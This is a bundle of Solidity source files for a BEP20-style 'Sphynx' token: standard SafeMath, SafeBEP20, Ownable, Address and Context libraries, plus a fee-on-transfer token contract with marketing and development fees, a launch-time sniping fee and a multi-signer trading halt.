* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './IBEP20.sol';
import '../../math/SafeMath.sol';
import '../../utils/Address.sol';
/**
* @title SafeBEP20
* @dev Wrappers around BEP20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeBEP20 for IBEP20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IBEP20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IBEP20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IBEP20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IBEP20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance'
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
'SafeBEP20: decreased allowance below zero'
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
import '../GSN/Context.sol';
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import '@sphynxswap/sphynx-swap-lib/contracts/access/Manageable.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/token/BEP20/BEP20.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/token/BEP20/IBEP20.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/token/BEP20/SafeBEP20.sol';
import '@sphynxswap/swap-core/contracts/interfaces/ISphynxPair.sol';
import '@sphynxswap/swap-core/contracts/interfaces/ISphynxFactory.sol';
import '@sphynxswap/swap-periphery/contracts/interfaces/ISphynxRouter02.sol';
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract SphynxToken is BEP20, Manageable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
ISphynxRouter02 public sphynxSwapRouter;
address public sphynxSwapPair;
bool private swapping;
address public masterChef;
address public sphynxBridge;
address payable public marketingWallet = payable(0x3D458e65828d031B46579De28e9BBAAeb2729064);
address payable public developmentWallet = payable(0x7dB8380C7A017F82CC1d2DC7F8F1dE2d29Fd1df6);
address public lotteryAddress;
uint256 public usdAmountToSwap = 500;
uint256 public marketingFee;
uint256 public developmentFee;
uint256 public lotteryFee;
uint256 public totalFees;
uint256 public blockNumber;
bool public SwapAndLiquifyEnabled = false;
bool public sendToLottery = false;
bool public stopTrade = false;
bool public claimable = true;
uint256 public maxTxAmount = 800000000 * (10 ** 18); // Initial Max Tx Amount
mapping(address => bool) signers;
mapping(uint256 => address) signersArray;
mapping(address => bool) stopTradeSign;
AggregatorV3Interface internal priceFeed;
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
// getting fee addresses
mapping(address => bool) public _isGetFees;
// store addresses that are automated market maker pairs. Any transfer to these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
modifier onlyMasterChefAndBridge() {
require(msg.sender == masterChef || msg.sender == sphynxBridge, 'Permission Denied');
_;
}
modifier onlySigner() {
require(signers[msg.sender], 'not-a-signer');
_;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
// Contract Events
event ExcludeFromFees(address indexed account, bool isExcluded);
event GetFee(address indexed account, bool isGetFee);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event MarketingWalletUpdated(address indexed newMarketingWallet, address indexed oldMarketingWallet);
event DevelopmentWalletUpdated(address indexed newDevelopmentWallet, address indexed oldDevelopmentWallet);
event LotteryAddressUpdated(address indexed newLotteryAddress, address indexed oldLotteryAddress);
event UpdateSphynxSwapRouter(address indexed newAddress, address indexed oldAddress);
event SwapAndLiquify(uint256 tokensSwapped, uint256 nativeReceived, uint256 tokensIntoLiqudity);
event UpdateSwapAndLiquify(bool value);
event UpdateSendToLottery(bool value);
event SetMarketingFee(uint256 value);
event SetDevelopmentFee(uint256 value);
event SetLotteryFee(uint256 value);
event SetAllFeeToZero(uint256 marketingFee, uint256 developmentFee, uint256 lotteryFee);
event MaxFees(uint256 marketingFee, uint256 developmentFee, uint256 lotteryFee);
event SetUsdAmountToSwap(uint256 usdAmountToSwap);
event SetBlockNumber(uint256 blockNumber);
event UpdateMasterChef(address masterChef);
event UpdateSphynxBridge(address sphynxBridge);
event UpdateMaxTxAmount(uint256 txAmount);
constructor() public BEP20('Sphynx ETH', 'SPHYNX') {
uint256 _marketingFee = 5;
uint256 _developmentFee = 5;
uint256 _lotteryFee = 1;
marketingFee = _marketingFee;
developmentFee = _developmentFee;
lotteryFee = _lotteryFee;
totalFees = _marketingFee.add(_developmentFee);
blockNumber = 0;
ISphynxRouter02 _sphynxSwapRouter = ISphynxRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // mainnet
// Create a sphynxswap pair for SPHYNX
address _sphynxSwapPair = ISphynxFactory(_sphynxSwapRouter.factory()).createPair(address(this), _sphynxSwapRouter.WETH());
sphynxSwapRouter = _sphynxSwapRouter;
sphynxSwapPair = _sphynxSwapPair;
_setAutomatedMarketMakerPair(sphynxSwapPair, true);
// exclude from paying fees or having max transaction amount
excludeFromFees(marketingWallet, true);
excludeFromFees(developmentWallet, true);
excludeFromFees(address(this), true);
excludeFromFees(owner(), true);
// set getFee addresses
_isGetFees[address(_sphynxSwapRouter)] = true;
_isGetFees[_sphynxSwapPair] = true;
priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
_mint(owner(), 800000000 * (10**18));
_status = _NOT_ENTERED;
//multi-sign-wallets
signers[0x35BfE8dA53F94d6711F111790643D2D403992b56] = true;
signers[0x96C463B615228981A2c30B842E8A8e4e933CEc46] = true;
signers[0x7278fC9C49A2B6bd072b9d47E3c903ef0e12bb83] = true;
signersArray[0] = 0x35BfE8dA53F94d6711F111790643D2D403992b56;
signersArray[1] = 0x96C463B615228981A2c30B842E8A8e4e933CEc46;
signersArray[2] = 0x7278fC9C49A2B6bd072b9d47E3c903ef0e12bb83;
}
receive() external payable {}
// mint function for masterchef;
function mint(address to, uint256 amount) public onlyMasterChefAndBridge {
_mint(to, amount);
}
function updateSwapAndLiquifiy(bool value) public onlyManager {
SwapAndLiquifyEnabled = value;
emit UpdateSwapAndLiquify(value);
}
function updateSendToLottery(bool value) public onlyManager {
sendToLottery = value;
emit UpdateSendToLottery(value);
}
function setMarketingFee(uint256 value) external onlyManager {
require(value <= 5, 'SPHYNX: Invalid marketingFee');
marketingFee = value;
totalFees = marketingFee.add(developmentFee);
emit SetMarketingFee(value);
}
function setDevelopmentFee(uint256 value) external onlyManager {
require(value <= 5, 'SPHYNX: Invalid developmentFee');
developmentFee = value;
totalFees = marketingFee.add(developmentFee);
emit SetDevelopmentFee(value);
}
function setLotteryFee(uint256 value) external onlyManager {
require(value <= 1, 'SPHYNX: Invalid lotteryFee');
lotteryFee = value;
emit SetLotteryFee(value);
}
function setAllFeeToZero() external onlyOwner {
marketingFee = 0;
developmentFee = 0;
lotteryFee = 0;
totalFees = 0;
emit SetAllFeeToZero(marketingFee, developmentFee, lotteryFee);
}
function maxFees() external onlyOwner {
marketingFee = 5;
developmentFee = 5;
lotteryFee = 1;
totalFees = marketingFee.add(developmentFee);
emit MaxFees(marketingFee, developmentFee, lotteryFee);
}
function updateSphynxSwapRouter(address newAddress) public onlyManager {
require(newAddress != address(sphynxSwapRouter), 'SPHYNX: The router already has that address');
emit UpdateSphynxSwapRouter(newAddress, address(sphynxSwapRouter));
sphynxSwapRouter = ISphynxRouter02(newAddress);
address _sphynxSwapPair;
_sphynxSwapPair = ISphynxFactory(sphynxSwapRouter.factory()).getPair(address(this), sphynxSwapRouter.WETH());
if(_sphynxSwapPair == address(0)) {
_sphynxSwapPair = ISphynxFactory(sphynxSwapRouter.factory()).createPair(address(this), sphynxSwapRouter.WETH());
}
_setAutomatedMarketMakerPair(sphynxSwapPair, false);
sphynxSwapPair = _sphynxSwapPair;
_setAutomatedMarketMakerPair(sphynxSwapPair, true);
}
function updateMasterChef(address _masterChef) public onlyManager {
require(masterChef != _masterChef, 'SPHYNX: MasterChef already exists!');
masterChef = _masterChef;
emit UpdateMasterChef(_masterChef);
}
function updateSphynxBridge(address _sphynxBridge) public onlyManager {
require(sphynxBridge != _sphynxBridge, 'SPHYNX: SphynxBridge already exists!');
_isExcludedFromFees[sphynxBridge] = false;
sphynxBridge = _sphynxBridge;
_isExcludedFromFees[sphynxBridge] = true;
emit UpdateSphynxBridge(_sphynxBridge);
}
function excludeFromFees(address account, bool excluded) public onlyManager {
require(_isExcludedFromFees[account] != excluded, "SPHYNX: Account is already the value of 'excluded'");
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setFeeAccount(address account, bool isGetFee) public onlyManager {
require(_isGetFees[account] != isGetFee, "SPHYNX: Account is already the value of 'isGetFee'");
_isGetFees[account] = isGetFee;
emit GetFee(account, isGetFee);
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyManager {
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, 'SPHYNX: Automated market maker pair is already set to that value');
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function setUsdAmountToSwap(uint256 _usdAmount) public onlyManager {
usdAmountToSwap = _usdAmount;
emit SetUsdAmountToSwap(usdAmountToSwap);
}
function updateMarketingWallet(address newMarketingWallet) public onlyManager {
require(newMarketingWallet != marketingWallet, 'SPHYNX: The marketing wallet is already this address');
excludeFromFees(newMarketingWallet, true);
excludeFromFees(marketingWallet, false);
emit MarketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = payable(newMarketingWallet);
}
function updateDevelopmentgWallet(address newDevelopmentWallet) public onlyManager {
require(newDevelopmentWallet != developmentWallet, 'SPHYNX: The development wallet is already this address');
excludeFromFees(newDevelopmentWallet, true);
excludeFromFees(developmentWallet, false);
emit DevelopmentWalletUpdated(newDevelopmentWallet, developmentWallet);
developmentWallet = payable(newDevelopmentWallet);
}
function updateLotteryAddress(address newLotteryAddress) public onlyManager {
require(newLotteryAddress != lotteryAddress, 'SPHYNX: The lottery wallet is already this address');
excludeFromFees(newLotteryAddress, true);
excludeFromFees(lotteryAddress, false);
emit LotteryAddressUpdated(newLotteryAddress, lotteryAddress);
lotteryAddress = newLotteryAddress;
}
function setBlockNumber() public onlyOwner {
blockNumber = block.number;
emit SetBlockNumber(blockNumber);
}
function updateMaxTxAmount(uint256 _amount) public onlyManager {
maxTxAmount = _amount;
emit UpdateMaxTxAmount(_amount);
}
function updateTokenClaim(bool _claim) public onlyManager {
claimable = _claim;
}
function updateStopTrade(bool _value) external onlySigner {
require(stopTrade != _value, 'already-set');
require(!stopTradeSign[msg.sender], 'already-sign');
stopTradeSign[msg.sender] = true;
if (
stopTradeSign[signersArray[0]] &&
stopTradeSign[signersArray[1]] &&
stopTradeSign[signersArray[2]]
) {
stopTrade = _value;
stopTradeSign[signersArray[0]] = false;
stopTradeSign[signersArray[1]] = false;
stopTradeSign[signersArray[2]] = false;
}
}
function updateSignerWallet(address _signer) external onlySigner {
signers[msg.sender] = false;
signers[_signer] = true;
for(uint i = 0; i < 3; i++) {
if(signersArray[i] == msg.sender) {
signersArray[i] = _signer;
}
}
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), 'BEP20: transfer from the zero address');
require(to != address(0), 'BEP20: transfer to the zero address');
require(!stopTrade, 'trade-stopped');
require(amount <= maxTxAmount, 'max-tx-amount-overflow');
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if(SwapAndLiquifyEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 nativeTokenAmount = _getTokenAmountFromNative();
bool canSwap = contractTokenBalance >= nativeTokenAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from]) {
swapping = true;
// Set number of tokens to sell to nativeTokenAmount
contractTokenBalance = nativeTokenAmount;
swapTokens(contractTokenBalance);
swapping = false;
}
}
// indicates if fee should be deducted from transfer
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
if (block.number - blockNumber <= 10) {
uint256 afterBalance = balanceOf(to) + amount;
require(afterBalance <= 250000 * (10**18), 'Owned amount exceeds the maxOwnedAmount');
}
uint256 fees;
if (_isGetFees[from] || _isGetFees[to]) {
if (block.number - blockNumber <= 5) {
fees = amount.mul(99).div(10**2);
} else {
fees = amount.mul(totalFees).div(10**2);
if (sendToLottery) {
uint256 lotteryAmount = amount.mul(lotteryFee).div(10**2);
amount = amount.sub(lotteryAmount);
super._transfer(from, lotteryAddress, lotteryAmount);
}
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
}
super._transfer(from, to, amount);
}
function swapTokens(uint256 tokenAmount) private {
swapTokensForNative(tokenAmount);
uint256 swappedNative = address(this).balance;
uint256 marketingNative = swappedNative.mul(marketingFee).div(totalFees);
uint256 developmentNative = swappedNative.sub(marketingNative);
transferNativeToMarketingWallet(marketingNative);
transferNativeToDevelopmentWallet(developmentNative);
}
// Swap tokens on PacakeSwap
function swapTokensForNative(uint256 tokenAmount) private {
// generate the sphynxswap pair path of token -> WETH
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = sphynxSwapRouter.WETH();
_approve(address(this), address(sphynxSwapRouter), tokenAmount);
// make the swap
sphynxSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of Native
path,
address(this),
block.timestamp
);
}
function getNativeAmountFromUSD() public view returns (uint256 amount) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
amount = usdAmountToSwap.mul(10 ** 26).div(uint256(price));
}
function _getTokenAmountFromNative() internal view returns (uint256) {
uint256 tokenAmount;
address[] memory path = new address[](2);
path[0] = sphynxSwapRouter.WETH();
path[1] = address(this);
uint256 nativeAmountToSwap = getNativeAmountFromUSD();
uint256[] memory amounts = sphynxSwapRouter.getAmountsOut(nativeAmountToSwap, path);
tokenAmount = amounts[1];
return tokenAmount;
}
function transferNativeToMarketingWallet(uint256 amount) private {
marketingWallet.transfer(amount);
}
function transferNativeToDevelopmentWallet(uint256 amount) private {
developmentWallet.transfer(amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
